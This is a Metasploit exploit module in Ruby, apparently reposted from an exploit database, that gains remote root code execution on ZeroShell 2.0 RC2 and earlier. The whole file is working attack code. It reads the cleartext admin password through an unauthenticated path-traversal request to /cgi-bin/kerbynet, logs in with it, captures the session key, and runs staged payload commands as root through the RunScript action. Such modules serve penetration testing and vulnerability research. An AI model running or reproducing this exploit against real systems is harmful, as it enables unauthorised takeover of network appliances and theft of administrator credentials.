## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerEcho include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "ZeroShell Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower. It will leverage an unauthenticated local file inclusion vulnerability in the "/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw". This file contains the admin password in cleartext. The password is used to login as the admin user. After the authentication process is complete it will use the RunScript action to execute the payload with root privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yann CAM', # Discovery, PoC 'xistence ' # Metasploit module ], 'References' => [ [ 'URL', 'http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html' ] ], 'Platform' => ['linux'], 'Arch' => ARCH_X86, 'Targets' => [ ['ZeroShell 2.0 RC2', {}] ], 'Privileged' => true, 'DisclosureDate' => "Sep 22 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/']) ], self.class) end def uri return target_uri.path end def peer return "#{rhost}:#{rport}" end def check # Check version print_status("#{peer} - Trying to detect ZeroShell") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri) }) if res and res.code == 200 and res.body =~ /ZeroShell/ print_good("ZeroShell detected") end unless password.nil? return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end # Retrieve admin password using unauthenticated LFI def password rootpw = "../../../var/register/system/ldap/rootpw" print_status("#{peer} - Retrieving cleartext admin password") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"), 'vars_get' => { 'Section' => "NoAuthREQ", 'Action' => "Render", 'Object' => rootpw } }) if res and res.code == 200 and res.body !~ /not found/ res.body =~ /^(.*)$/ pass = $1 print_status("#{peer} - Password retrieved [ #{pass} ]") return pass else return nil end end # Login using the retrieved password and grab the session key from the response body. def login(admin_password) print_status("#{peer} - Log in and retrieving session key") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"), 'vars_post' => { 'Action' => "StartSessionSubmit", 'User' => "admin", 'PW' => admin_password } }) if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/ sessionkey = $1 print_status("#{peer} - Session key retrieved [ #{sessionkey} ]") return sessionkey else fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!") end end # The RunScript action will run shell commands directly with root privileges. def execute_command(cmd, opts) script_name = rand_text_alphanumeric(8) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"), 'vars_post' => { 'Action' => "RunScript", 'Section' => "Setup", 'STk' => @session, 'ScriptName' => script_name, 'Script' => cmd + '&' } }) if res and res.code != 200 fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") end end def exploit admin_password = password if admin_password.nil? fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!") end @session = login(admin_password) execute_cmdstager end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-09-29]